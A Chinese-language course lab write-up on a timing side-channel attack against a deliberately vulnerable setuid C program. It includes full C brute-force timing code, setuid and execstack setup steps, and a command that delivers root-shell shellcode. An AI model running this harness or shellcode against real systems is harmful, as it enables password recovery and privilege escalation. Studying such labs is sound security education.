软件安全实验——lab10(一、基于时间的侧信道攻击)
目錄標題
- (1)漏洞代碼:
- (2)將密碼文件s.pass設為root只讀:
- (3)攻擊代碼為:
- (4)可執行棧-z execstack選項:
- (5)設置sidechannel文件的權限:
- (6)只有完成上面的步驟開始攻擊:
邊信道攻擊實驗:
??通過使用下面所提供的漏洞代碼,設計一個攻擊代碼,利用邊信道攻擊的方式獲取正確的密碼,并執行后面的 shellcode 來獲取一個 root shell,其中的s.pass 為 root 只讀的密碼文件。過程如下:
(1)漏洞代碼:
//sidechannel.c //s.pass root 只讀 //S1deCh4nnelAttack3r #include <stdio.h> #include <string.h> int main(int argc, char **argv) {FILE *in = 0;char pass[20]="";unsigned int i=0, j=0;unsigned short correct=0,misplaced=0;unsigned short pwlen=strlen(pass) - 1, inlen=0;if(argc != 3 || (inlen=strlen(argv[1]) - 1) > 19)return 1;setresuid(geteuid(),geteuid(),geteuid());in = fopen("s.pass","r");pass[fread(pass, 1,19,in)] = 0;fclose(in);for (i = 0; i <= inlen && i <= pwlen; i++)if(pass[i] == argv[1][i])correct++;elsefor(j = 1; j < pwlen; j++)if(argv[1][i] == pass[(i+j)%19])misplaced++;if(correct == 19)把argv[2]指針強制類型轉換成函數指針void (*)(),然后執行函數argv[2]();((void (*)()) argv[2])();return 0; }??分析上述代碼可知,判斷輸入的字符串和密碼文件讀取的字符串是否相等,它是逐個字符判斷,如果當前字符和密碼字符相等,舊執行一次指令;而如果不相等,就會執行pwlen次指令,而pwlen是一個溢出的很大的數0xffff(65535),所以會導致密碼字符正確時程序執行時間比較短,密碼字符錯誤時程序執行時間比較長。通過暴力破解判斷輸入所有不同的字符,對不同密碼字符的程序執行時間長短進行比較,我們認為在每個位置上讓程序執行時間最短的那個字符就是正確的密碼字符,就可以獲得正確密碼。
(2)將密碼文件s.pass設為root只讀:
# chown root:root s.pass(3)攻擊代碼為:
#include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/time.h> int main() {//所有的字符,包括數字和大小寫字母char character[] = { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z' };//存儲計算出的最后的密碼字符串char result[19] = "";//當前字符//進程IDpid_t pid;//struct timeval有兩個成員,一個是秒tv_sec,一個是微秒tv_usecstruct timeval startTime,endTime;//每個字符運行程序所使用的時間/微秒long int tempTime = 0;//每個字符運行程序10次所使用的時間/微秒,用它來求平均值作為當前字符所使用的時間long int totalTime = 0;//每個字符運行程序的平均時間float averageTime = 0;//所使用的最少時間/微秒float minimumTime = 10000000;//所使用的最少時間對應的字符下標int minimumTimeLab = 0;int i,j,k;//對長度為19的字符串逐個破解for (i = 0; i < 19; i++){//前18個密碼字符if(i != 18 ){//所使用的最少時間為10000000微秒minimumTime = 10000000;}else{//需要計算最大時間,先初始化為0minimumTime = 0;}//每個位置上對63個字符逐個計算for (j = 0; j < 63; j++){//初始化每個字符運行程序10次所使用的時間為0totalTime = 0;//進行10輪循環取運行時間的平均值,減小偶然結果的影響for (k = 0; k < 10; k++){//62個字符中的一個放在當前位置result[i] = character[j];//獲取微秒級的系統當前時間,運行命令前的時間gettimeofday(&startTime,NULL);//在子進程中fork()返回0if ((pid = fork()) == 0) {//執行程序路徑./sidechannel,要執行命令名sidechannel,參數result和"0",空指針(char *)0代表NULL參數結束結束execl("./sidechannel", "sidechannel", result, "0", (char *)0);}//在父進程中fork()返回創建新子進程的IDelse {//等待新子進程結束,NULL不使用結束狀態值,0不使用額外狀態選項waitpid(pid, NULL, 0);}//獲取微秒級的系統當前時間,運行命令后的時間gettimeofday(&endTime,NULL);//計算單次程序運行使用的秒和毫秒tempTime = (endTime.tv_sec - startTime.tv_sec) * 1000000 + (endTime.tv_usec - startTime.tv_usec);//加上單次程序運行使用的時間totalTime += tempTime;}averageTime = totalTime / 10 ;//前18個密碼字符if(i != 18 ){//每個字符運行程序的平均時間最小的,作為正確的密碼字符if(averageTime < minimumTime){//記錄最小時間minimumTime = averageTime;//記錄最小時間對應的字符下標minimumTimeLab = j;}//第19個密碼字符}else{//每個字符運行程序的平均時間最大的,作為正確的密碼字符if(averageTime > minimumTime){//記錄最大時間minimumTime = averageTime;//記錄最大時間對應的字符下標minimumTimeLab = j;}}}//把所使用的最少時間對應的字符,賦值給密碼字符串result[i] = character[minimumTimeLab];printf("%s\n", result);}return 0;}
其中
??struct timeval有兩個成員,一個是秒,一個是微秒, 所以最高精確度是微秒。
??因為計算的時間是微秒級要求比較精準,在實驗過程中,電腦運行的進程、磁盤的占用率過高可能會影響程序的運行的運行時間,從而可能導致某個時間某個字符的運行時間不夠精準,所以盡量用性能比較好的電腦和后臺程序盡量減少來運行程序,得到的結果都是比較精準的。
??多次運行,大概5秒鐘就能找到正確的密碼,后臺程序比較少計時比較準確的時候密碼的正確率基本是100%。
??找到正確密碼之后,只需要運行漏洞程序,第一個參數為正確密碼,第二個參數為shellcode,漏洞程序在調用參數2的函數指針時就會執行 shellcode,從而獲得一個 root shell。
(4)可執行棧-z execstack選項:
提權編譯程序的時候都要打開可執行棧-z execstack選項:
gcc -z execstack -o sidechannel sidechannel.c??不然就會發生段錯誤,因為執行shellcode就是利用棧的漏洞執行提權代碼,如果不打開-z execstack選項的話棧不可執行,就會發生段錯誤,無法執行shellcode提權獲得root權限。錯誤的截圖如下所示:
(5)設置sidechannel文件的權限:
# chmod root.root sidechannel # chmod 4755 sidechannel??設置sidechannel文件root所屬,4表示其他用戶(seed)執行文件時,具有與所有者(root)相當的權限,不然就只能獲得普通用戶權限
(6)只有完成上面的步驟開始攻擊:
./sidechannel S1deCh4nnelAttack3r $(python -c "print '\x90'*100 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")總結
以上是生活随笔為你收集整理的软件安全实验——lab10(一、基于时间的侧信道攻击)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 西门子dcs系统组态手册下载_PLC/D
- 下一篇: 五寸照片尺寸是多少?如何自己制作证件照?